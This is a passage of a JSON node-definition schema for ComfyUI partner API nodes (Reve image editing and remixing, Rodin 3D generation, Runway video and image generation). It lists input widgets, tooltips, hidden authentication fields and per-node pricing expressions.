"is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ReveImageEditNode", "display_name": "Reve Image Edit", "description": "Edit images using natural language instructions with Reve.", "python_module": "comfy_api_nodes.nodes_reve", "category": "partner/image/Reve", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "upscale", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "upscale.upscale_factor", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $fmt := {\"approximate\": true, \"note\": \"(base)\"};\n $isFast := $contains(widgets.model, \"fast\");\n $enabled := widgets.upscale = \"enabled\";\n $factor := $lookup(widgets, \"upscale.upscale_factor\");\n $isFast\n ? {\"type\": \"usd\", \"usd\": 0.01001, \"format\": $fmt}\n : $enabled ? (\n $factor = 4 ? {\"type\": \"usd\", \"usd\": 0.0991, \"format\": $fmt}\n : $factor = 3 ? {\"type\": \"usd\", \"usd\": 0.0819, \"format\": $fmt}\n : {\"type\": \"usd\", \"usd\": 0.0686, \"format\": $fmt}\n ) : {\"type\": \"usd\", \"usd\": 0.0572, \"format\": $fmt}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ReveImageRemixNode": {"input": {"required": {"reference_images": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"image": ["IMAGE", {}]}}, "prefix": "image_", "min": 1, "max": 6}}], "prompt": ["STRING", {"tooltip": "Text description of the desired image. May include XML img tags to reference specific images by index, e.g. 0, 1, etc.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model version to use for remixing.", "options": [{"key": "reve-remix@20250915", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "Aspect ratio of the output image.", "multiselect": false, "options": ["auto", "16:9", "9:16", "3:2", "2:3", "4:3", "3:4", "1:1"]}], "test_time_scaling": ["INT", {"tooltip": "Higher values produce better images but cost more credits.", "advanced": true, "default": 1, "min": 1, "max": 5, "step": 1}]}}}, {"key": "reve-remix-fast@20251030", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "Aspect ratio of the output image.", "multiselect": false, "options": ["auto", "16:9", "9:16", "3:2", "2:3", "4:3", "3:4", "1:1"]}], "test_time_scaling": ["INT", {"tooltip": "Higher values produce better images but cost more credits.", "advanced": true, "default": 1, "min": 1, "max": 5, "step": 1}]}}}]}], "upscale": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Upscale the generated image. May add additional cost.", "options": [{"key": "disabled", "inputs": {"required": {}}}, {"key": "enabled", "inputs": {"required": {"upscale_factor": ["INT", {"tooltip": "Upscale factor (2x, 3x, or 4x).", "default": 2, "min": 2, "max": 4, "step": 1}]}}}]}], "remove_background": ["BOOLEAN", {"tooltip": "Remove the background from the generated image. May add additional cost.", "default": false}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["reference_images", "prompt", "model", "upscale", "remove_background", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ReveImageRemixNode", "display_name": "Reve Image Remix", "description": "Combine reference images with text prompts to create new images using Reve.", "python_module": "comfy_api_nodes.nodes_reve", "category": "partner/image/Reve", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "upscale", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "upscale.upscale_factor", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $fmt := {\"approximate\": true, \"note\": \"(base)\"};\n $isFast := $contains(widgets.model, \"fast\");\n $enabled := widgets.upscale = \"enabled\";\n $factor := $lookup(widgets, \"upscale.upscale_factor\");\n $isFast\n ? {\"type\": \"usd\", \"usd\": 0.01001, \"format\": $fmt}\n : $enabled ? (\n $factor = 4 ? {\"type\": \"usd\", \"usd\": 0.0991, \"format\": $fmt}\n : $factor = 3 ? {\"type\": \"usd\", \"usd\": 0.0819, \"format\": $fmt}\n : {\"type\": \"usd\", \"usd\": 0.0686, \"format\": $fmt}\n ) : {\"type\": \"usd\", \"usd\": 0.0572, \"format\": $fmt}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Rodin3D_Regular": {"input": {"required": {"Images": ["IMAGE", {}]}, "optional": {"Seed": ["INT", {"default": 0, "min": 0, "max": 65535, "display": "number"}], "Material_Type": ["COMBO", {"default": "PBR", "multiselect": false, "options": ["PBR", "Shaded"]}], "Polygon_count": ["COMBO", {"default": "18K-Quad", "multiselect": false, "options": ["4K-Quad", "8K-Quad", "18K-Quad", "50K-Quad", "200K-Triangle"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["Images"], "optional": ["Seed", "Material_Type", "Polygon_count"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING", "FILE_3D_GLB"], "output_is_list": [false, false], "output_name": ["3D Model Path", "GLB"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "Rodin3D_Regular", "display_name": "Rodin 3D Generate - Regular Generate", "description": "Generate 3D Assets using Rodin API", "python_module": "comfy_api_nodes.nodes_rodin", "category": "partner/3d/Rodin", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.4}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Rodin3D_Detail": {"input": {"required": {"Images": ["IMAGE", {}]}, "optional": {"Seed": ["INT", {"default": 0, "min": 0, "max": 65535, "display": "number"}], "Material_Type": ["COMBO", {"default": "PBR", "multiselect": false, "options": ["PBR", "Shaded"]}], "Polygon_count": ["COMBO", {"default": "18K-Quad", "multiselect": false, "options": ["4K-Quad", "8K-Quad", "18K-Quad", "50K-Quad", "200K-Triangle"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["Images"], "optional": ["Seed", "Material_Type", "Polygon_count"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING", "FILE_3D_GLB"], "output_is_list": [false, false], "output_name": ["3D Model Path", "GLB"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "Rodin3D_Detail", "display_name": "Rodin 3D Generate - Detail Generate", "description": "Generate 3D Assets using Rodin API", "python_module": "comfy_api_nodes.nodes_rodin", "category": "partner/3d/Rodin", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.4}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Rodin3D_Smooth": {"input": {"required": {"Images": ["IMAGE", {}]}, "optional": {"Seed": ["INT", {"default": 0, "min": 0, "max": 65535, "display": "number"}], "Material_Type": ["COMBO", {"default": "PBR", "multiselect": false, "options": ["PBR", "Shaded"]}], "Polygon_count": ["COMBO", {"default": "18K-Quad", "multiselect": false, "options": ["4K-Quad", "8K-Quad", "18K-Quad", "50K-Quad", "200K-Triangle"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["Images"], "optional": ["Seed", "Material_Type", "Polygon_count"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING", "FILE_3D_GLB"], "output_is_list": [false, false], "output_name": ["3D Model Path", "GLB"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "Rodin3D_Smooth", "display_name": "Rodin 3D Generate - Smooth Generate", "description": "Generate 3D Assets using Rodin API", "python_module": "comfy_api_nodes.nodes_rodin", "category": "partner/3d/Rodin", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.4}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Rodin3D_Sketch": {"input": {"required": {"Images": ["IMAGE", {}]}, "optional": {"Seed": ["INT", {"default": 0, "min": 0, "max": 65535, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["Images"], "optional": ["Seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING", "FILE_3D_GLB"], "output_is_list": [false, false], "output_name": ["3D Model Path", "GLB"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "Rodin3D_Sketch", "display_name": "Rodin 3D Generate - Sketch Generate", "description": "Generate 3D Assets using Rodin API", "python_module": "comfy_api_nodes.nodes_rodin", "category": "partner/3d/Rodin", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.4}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Rodin3D_Gen2": {"input": {"required": {"Images": ["IMAGE", {}], "TAPose": ["BOOLEAN", {"advanced": true, "default": false}]}, "optional": {"Seed": ["INT", {"default": 0, "min": 0, "max": 65535, "display": "number"}], "Material_Type": ["COMBO", {"default": "PBR", "multiselect": false, "options": ["PBR", "Shaded"]}], "Polygon_count": ["COMBO", {"default": "500K-Triangle", "multiselect": false, "options": ["4K-Quad", "8K-Quad", "18K-Quad", "50K-Quad", "2K-Triangle", "20K-Triangle", "150K-Triangle", "500K-Triangle"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["Images", "TAPose"], "optional": ["Seed", "Material_Type", "Polygon_count"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING", "FILE_3D_GLB"], "output_is_list": [false, false], "output_name": ["3D Model Path", "GLB"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "Rodin3D_Gen2", "display_name": "Rodin 3D Generate - Gen-2 Generate", "description": "Generate 3D Assets using Rodin API", "python_module": "comfy_api_nodes.nodes_rodin", "category": "partner/3d/Rodin", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.4}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Rodin3D_Gen25_Image": {"input": {"required": {"images": ["COMFY_AUTOGROW_V3", {"tooltip": "1-5 images. The first image is used for materials when multi-view.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "prefix": "image", "min": 1, "max": 5}}], "mode": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Generation mode. Regular = balanced. Fast = 1K-20K faces for rapid prototyping. Extreme-High = 20K-2M faces with optional micro details.", "options": [{"key": "Regular", "inputs": {"required": {"tier": ["COMBO", {"tooltip": "Quality tier. Higher tiers produce higher-fidelity geometry.", "default": "Gen-2.5-High", "multiselect": false, "options": ["Gen-2.5-Low", "Gen-2.5-Medium", "Gen-2.5-High"]}], "polygon_count": ["COMBO", {"tooltip": "Preset face count. 'Default' uses the server's default for the selected tier.", "default": "Default", "multiselect": false, "options": ["Default", "4K-Quad", "8K-Quad", "18K-Quad", "50K-Quad", "2K-Triangle", "20K-Triangle", "150K-Triangle", "500K-Triangle", "1M-Triangle"]}], "creative": ["BOOLEAN", {"tooltip": "Creative mode (Medium/High only). Enhances generative robustness.", "default": false}]}}}, {"key": "Fast", "inputs": {"required": {"tier": ["COMBO", {"default": "Gen-2.5-Low", "multiselect": false, "options": ["Gen-2.5-Extreme-Low", "Gen-2.5-Low", "Gen-2.5-Medium", "Gen-2.5-High"]}], "mesh_faces": ["INT", {"tooltip": "Mesh face count (1K-20K in Fast mode).", "default": 20000, "min": 1000, "max": 20000, "display": "number"}]}}}, {"key": "Extreme-High", "inputs": {"required": {"mesh_mode": ["COMBO", {"default": "Raw", "multiselect": false, "options": ["Raw", "Quad"]}], "mesh_faces": ["INT", {"tooltip": "Mesh face count. Raw mode: 20K-2M. Quad mode: keep under 200K (upstream may reject higher values).", "default": 1000000, "min": 20000, "max": 2000000, "display": "number"}], "is_micro": ["BOOLEAN", {"tooltip": "Enable micro detail (Extreme-High only).", "default": false}], "creative": ["BOOLEAN", {"tooltip": "Creative mode. Enhances generative robustness.", "default": false}]}}}]}], "material": ["COMBO", {"default": "Shaded", "multiselect": false, "options": ["PBR", "Shaded", "All", "None"]}], "geometry_file_format": ["COMBO", {"default": "glb", "multiselect": false, "options": ["glb", "fbx", "obj", "stl"]}]}, "optional": {"texture_mode": ["COMBO", {"tooltip": "Texture quality preset. 'Default' uses the server's default for the selected tier.", "default": "Default", "multiselect": false, "options": ["Default", "legacy", "extreme-low", "low", "medium", "high"]}], "seed": ["INT", {"default": 0, "min": 0, "max": 65535, "control_after_generate": true, "display": "number"}], "TAPose": ["BOOLEAN", {"tooltip": "T/A pose for human-like models.", "advanced": true, "default": false}], "hd_texture": ["BOOLEAN", {"tooltip": "High-quality texture enhancement.", "advanced": true, "default": false}], "texture_delight": ["BOOLEAN", {"tooltip": "Remove baked lighting from textures.", "advanced": true, "default": false}], "use_original_alpha": ["BOOLEAN", {"tooltip": "Preserve image transparency.", "advanced": true, "default": false}], "addon_highpack": ["BOOLEAN", {"tooltip": "HighPack addon: 4K textures and ~16x faces in Quad mode.", "advanced": true, "default": false}], "bbox_width": ["INT", {"tooltip": "Bounding-box width (Y axis). Set to 0 with the others to skip bbox.", "advanced": true, "default": 0, "min": 0, "max": 300, "display": "number"}], "bbox_height": ["INT", {"tooltip": "Bounding-box height (Z axis).", "advanced": true, "default": 0, "min": 0, "max": 300, "display": "number"}], "bbox_length": ["INT", {"tooltip": "Bounding-box length (X axis).", "advanced": true, "default": 0, "min": 0, "max": 300, "display": "number"}], "height_cm": ["INT", {"tooltip": "Approximate model height in centimeters (0 to skip).", "advanced": true, "default": 0, "min": 0, "max": 10000, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["images", "mode", "material", "geometry_file_format"], "optional": ["texture_mode", "seed", "TAPose", "hd_texture", "texture_delight", "use_original_alpha", "addon_highpack", "bbox_width", "bbox_height", "bbox_length", "height_cm"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["FILE_3D"], "output_is_list": [false], "output_name": ["model_file"], "output_tooltips": [null], "output_matchtypes": null, "name": "Rodin3D_Gen25_Image", "display_name": "Rodin 3D Gen-2.5 - Image to 3D", "description": "Generate a 3D model from 1-5 reference images via Rodin Gen-2.5. Pick a mode (Fast / Regular / Extreme-High) to tune quality vs. cost.", "python_module": "comfy_api_nodes.nodes_rodin", "category": "partner/3d/Rodin", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "mode", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "addon_highpack", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "\n(\n $baseCredits := widgets.mode = \"extreme-high\" ? 1.0 : 0.5;\n $addonCredits := widgets.addon_highpack ? 1.0 : 0.0;\n $total := ($baseCredits * 1.5) + ($addonCredits * 0.8);\n {\"type\":\"usd\",\"usd\": $total}\n)\n"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Rodin3D_Gen25_Text": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for the 3D model.", "default": "", "multiline": true}], "mode": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Generation mode. Regular = balanced. Fast = 1K-20K faces for rapid prototyping. Extreme-High = 20K-2M faces with optional micro details.", "options": [{"key": "Regular", "inputs": {"required": {"tier": ["COMBO", {"tooltip": "Quality tier. Higher tiers produce higher-fidelity geometry.", "default": "Gen-2.5-High", "multiselect": false, "options": ["Gen-2.5-Low", "Gen-2.5-Medium", "Gen-2.5-High"]}], "polygon_count": ["COMBO", {"tooltip": "Preset face count. 'Default' uses the server's default for the selected tier.", "default": "Default", "multiselect": false, "options": ["Default", "4K-Quad", "8K-Quad", "18K-Quad", "50K-Quad", "2K-Triangle", "20K-Triangle", "150K-Triangle", "500K-Triangle", "1M-Triangle"]}], "creative": ["BOOLEAN", {"tooltip": "Creative mode (Medium/High only). Enhances generative robustness.", "default": false}]}}}, {"key": "Fast", "inputs": {"required": {"tier": ["COMBO", {"default": "Gen-2.5-Low", "multiselect": false, "options": ["Gen-2.5-Extreme-Low", "Gen-2.5-Low", "Gen-2.5-Medium", "Gen-2.5-High"]}], "mesh_faces": ["INT", {"tooltip": "Mesh face count (1K-20K in Fast mode).", "default": 20000, "min": 1000, "max": 20000, "display": "number"}]}}}, {"key": "Extreme-High", "inputs": {"required": {"mesh_mode": ["COMBO", {"default": "Raw", "multiselect": false, "options": ["Raw", "Quad"]}], "mesh_faces": ["INT", {"tooltip": "Mesh face count. Raw mode: 20K-2M. Quad mode: keep under 200K (upstream may reject higher values).", "default": 1000000, "min": 20000, "max": 2000000, "display": "number"}], "is_micro": ["BOOLEAN", {"tooltip": "Enable micro detail (Extreme-High only).", "default": false}], "creative": ["BOOLEAN", {"tooltip": "Creative mode. Enhances generative robustness.", "default": false}]}}}]}], "material": ["COMBO", {"default": "Shaded", "multiselect": false, "options": ["PBR", "Shaded", "All", "None"]}], "geometry_file_format": ["COMBO", {"default": "glb", "multiselect": false, "options": ["glb", "fbx", "obj", "stl"]}]}, "optional": {"texture_mode": ["COMBO", {"tooltip": "Texture quality preset. 'Default' uses the server's default for the selected tier.", "default": "Default", "multiselect": false, "options": ["Default", "legacy", "extreme-low", "low", "medium", "high"]}], "seed": ["INT", {"default": 0, "min": 0, "max": 65535, "control_after_generate": true, "display": "number"}], "TAPose": ["BOOLEAN", {"tooltip": "T/A pose for human-like models.", "advanced": true, "default": false}], "hd_texture": ["BOOLEAN", {"tooltip": "High-quality texture enhancement.", "advanced": true, "default": false}], "texture_delight": ["BOOLEAN", {"tooltip": "Remove baked lighting from textures.", "advanced": true, "default": false}], "addon_highpack": ["BOOLEAN", {"tooltip": "HighPack addon: 4K textures and ~16x faces in Quad mode.", "advanced": true, "default": false}], "bbox_width": ["INT", {"tooltip": "Bounding-box width (Y axis). Set to 0 with the others to skip bbox.", "advanced": true, "default": 0, "min": 0, "max": 300, "display": "number"}], "bbox_height": ["INT", {"tooltip": "Bounding-box height (Z axis).", "advanced": true, "default": 0, "min": 0, "max": 300, "display": "number"}], "bbox_length": ["INT", {"tooltip": "Bounding-box length (X axis).", "advanced": true, "default": 0, "min": 0, "max": 300, "display": "number"}], "height_cm": ["INT", {"tooltip": "Approximate model height in centimeters (0 to skip).", "advanced": true, "default": 0, "min": 0, "max": 10000, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "mode", "material", "geometry_file_format"], "optional": ["texture_mode", "seed", "TAPose", "hd_texture", "texture_delight", "addon_highpack", "bbox_width", "bbox_height", "bbox_length", "height_cm"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["FILE_3D"], "output_is_list": [false], "output_name": ["model_file"], "output_tooltips": [null], "output_matchtypes": null, "name": "Rodin3D_Gen25_Text", "display_name": "Rodin 3D Gen-2.5 - Text to 3D", "description": "Generate a 3D model from a text prompt via Rodin Gen-2.5. Pick a mode (Fast / Regular / Extreme-High) to tune quality vs. cost.", "python_module": "comfy_api_nodes.nodes_rodin", "category": "partner/3d/Rodin", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "mode", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "addon_highpack", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "\n(\n $baseCredits := widgets.mode = \"extreme-high\" ? 1.0 : 0.5;\n $addonCredits := widgets.addon_highpack ? 1.0 : 0.0;\n $total := ($baseCredits * 1.5) + ($addonCredits * 0.8);\n {\"type\":\"usd\",\"usd\": $total}\n)\n"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RunwayFirstLastFrameNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for the generation", "default": "", "multiline": true}], "start_frame": ["IMAGE", {"tooltip": "Start frame to be used for the video"}], "end_frame": ["IMAGE", {"tooltip": "End frame to be used for the video. Supported for gen3a_turbo only."}], "duration": ["COMBO", {"multiselect": false, "options": [5, 10]}], "ratio": ["COMBO", {"multiselect": false, "options": ["768:1280", "1280:768"]}], "seed": ["INT", {"tooltip": "Random seed for generation", "default": 0, "min": 0, "max": 4294967295, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "start_frame", "end_frame", "duration", "ratio", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "RunwayFirstLastFrameNode", "display_name": "Runway First-Last-Frame to Video", "description": "Upload first and last keyframes, draft a prompt, and generate a video. More complex transitions, such as cases where the Last frame is completely different from the First frame, may benefit from the longer 10s duration. This would give the generation more time to smoothly transition between the two inputs. Before diving in, review these best practices to ensure that your input selections will set your generation up for success: https://help.runwayml.com/hc/en-us/articles/34170748696595-Creating-with-Keyframes-on-Gen-3.", "python_module": "comfy_api_nodes.nodes_runway", "category": "partner/video/Runway", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": 0.0715 * widgets.duration}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RunwayImageToVideoNodeGen3a": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for the generation", "default": "", "multiline": true}], "start_frame": ["IMAGE", {"tooltip": "Start frame to be used for the video"}], "duration": ["COMBO", {"multiselect": false, "options": [5, 10]}], "ratio": ["COMBO", {"multiselect": false, "options": ["768:1280", "1280:768"]}], "seed": ["INT", {"tooltip": "Random seed for generation", "default": 0, "min": 0, "max": 4294967295, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "start_frame", "duration", "ratio", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "RunwayImageToVideoNodeGen3a", "display_name": "Runway Image to Video (Gen3a Turbo)", "description": "Generate a video from a single starting frame using Gen3a Turbo model. Before diving in, review these best practices to ensure that your input selections will set your generation up for success: https://help.runwayml.com/hc/en-us/articles/33927968552339-Creating-with-Act-One-on-Gen-3-Alpha-and-Turbo.", "python_module": "comfy_api_nodes.nodes_runway", "category": "partner/video/Runway", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": 0.0715 * widgets.duration}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RunwayImageToVideoNodeGen4": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for the generation", "default": "", "multiline": true}], "start_frame": ["IMAGE", {"tooltip": "Start frame to be used for the video"}], "duration": ["COMBO", {"multiselect": false, "options": [5, 10]}], "ratio": ["COMBO", {"multiselect": false, "options": ["1280:720", "720:1280", "1104:832", "832:1104", "960:960", "1584:672"]}], "seed": ["INT", {"tooltip": "Random seed for generation", "default": 0, "min": 0, "max": 4294967295, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "start_frame", "duration", "ratio", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "RunwayImageToVideoNodeGen4", "display_name": "Runway Image to Video (Gen4 Turbo)", "description": "Generate a video from a single starting frame using Gen4 Turbo model. Before diving in, review these best practices to ensure that your input selections will set your generation up for success: https://help.runwayml.com/hc/en-us/articles/37327109429011-Creating-with-Gen-4-Video.", "python_module": "comfy_api_nodes.nodes_runway", "category": "partner/video/Runway", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": 0.0715 * widgets.duration}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RunwayTextToImageNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for the generation", "default": "", "multiline": true}], "ratio": ["COMBO", {"multiselect": false, "options": ["1920:1080", "1080:1920", "1024:1024", "1360:768", "1080:1080", "1168:880", "1440:1080", "1080:1440", "1808:768", "2112:912"]}]}, "optional": {"reference_image": ["IMAGE", {"tooltip": "Optional reference image to guide the generation"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "ratio"], "optional": ["reference_image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "RunwayTextToImageNode", "display_name": "Runway Text to Image", "description": "Generate an image from a text prompt using Runway's Gen 4 model. You can also include reference image to guide the generation.", "python_module": "comfy_api_nodes.nodes_runway", "category": "partner/image/Runway", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.11}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RunwayAleph2VideoToVideoNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Describes what should appear in the output (1-1000 characters).", "default": "", "multiline": true}], "video": ["VIDEO", {"tooltip": "Input video to edit. Must 